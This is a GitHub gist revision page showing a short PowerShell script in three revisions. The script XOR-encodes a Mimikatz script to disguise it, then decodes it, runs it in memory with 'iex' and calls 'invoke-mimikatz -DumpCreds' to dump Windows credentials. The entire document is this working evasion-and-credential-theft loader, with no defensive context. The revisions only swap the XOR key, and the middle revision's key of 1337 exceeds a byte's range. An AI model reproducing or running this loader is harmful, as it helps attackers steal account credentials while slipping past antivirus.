Skip to content

Instantly share code, notes, and snippets.

@breakersall
Last active December 17, 2015 21:10

Revisions

  1. breakersall revised this gist May 8, 2015. 1 changed file with 3 additions and 3 deletions.
    6 changes: 3 additions & 3 deletions gistfile1.txt
    Original file line number Diff line number Diff line change
    @@ -2,17 +2,17 @@
    $inputMim = "C:\Tools\Mimikatz.txt"
    $OutMimEnc = "C:\Tools\EncMimikatz.txt"
    $bytes = [System.IO.File]::ReadAllBytes("$inputMim")
    $key = 1337
    $key = 137
    for($i=0; $i -lt $bytes.count ; $i++)
    {
    $bytes[$i] = $bytes[$i] -bxor $key
    }
    [System.IO.File]::WriteAllBytes("$OutMimEnc", $bytes)

    #####Decode Example######
    $iFile = "C:\Tools\tempenc.txt"
    $iFile = "C:\Tools\EncMimikatz.txt"
    $bytes = [System.IO.File]::ReadAllBytes("$iFile")
    $key = 1337
    $key = 137
    for($i=0; $i -lt $bytes.count ; $i++)
    {
    $bytes[$i] = $bytes[$i] -bxor $key
  2. breakersall revised this gist May 8, 2015. 1 changed file with 2 additions and 3 deletions.
    5 changes: 2 additions & 3 deletions gistfile1.txt
    Original file line number Diff line number Diff line change
    @@ -2,7 +2,7 @@
    $inputMim = "C:\Tools\Mimikatz.txt"
    $OutMimEnc = "C:\Tools\EncMimikatz.txt"
    $bytes = [System.IO.File]::ReadAllBytes("$inputMim")
    $key = 123
    $key = 1337
    for($i=0; $i -lt $bytes.count ; $i++)
    {
    $bytes[$i] = $bytes[$i] -bxor $key
    @@ -12,8 +12,7 @@ $bytes[$i] = $bytes[$i] -bxor $key
    #####Decode Example######
    $iFile = "C:\Tools\tempenc.txt"
    $bytes = [System.IO.File]::ReadAllBytes("$iFile")
    $key = 123
    #Where the magic happens
    $key = 1337
    for($i=0; $i -lt $bytes.count ; $i++)
    {
    $bytes[$i] = $bytes[$i] -bxor $key
  3. breakersall created this gist May 8, 2015.
    22 changes: 22 additions & 0 deletions gistfile1.txt
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,22 @@
    #######EncodeExample
    $inputMim = "C:\Tools\Mimikatz.txt"
    $OutMimEnc = "C:\Tools\EncMimikatz.txt"
    $bytes = [System.IO.File]::ReadAllBytes("$inputMim")
    $key = 123
    for($i=0; $i -lt $bytes.count ; $i++)
    {
    $bytes[$i] = $bytes[$i] -bxor $key
    }
    [System.IO.File]::WriteAllBytes("$OutMimEnc", $bytes)

    #####Decode Example######
    $iFile = "C:\Tools\tempenc.txt"
    $bytes = [System.IO.File]::ReadAllBytes("$iFile")
    $key = 123
    #Where the magic happens
    for($i=0; $i -lt $bytes.count ; $i++)
    {
    $bytes[$i] = $bytes[$i] -bxor $key
    }
    $String = [System.Text.Encoding]::ASCII.GetString($bytes)
    iex $string ; invoke-mimikatz -DumpCreds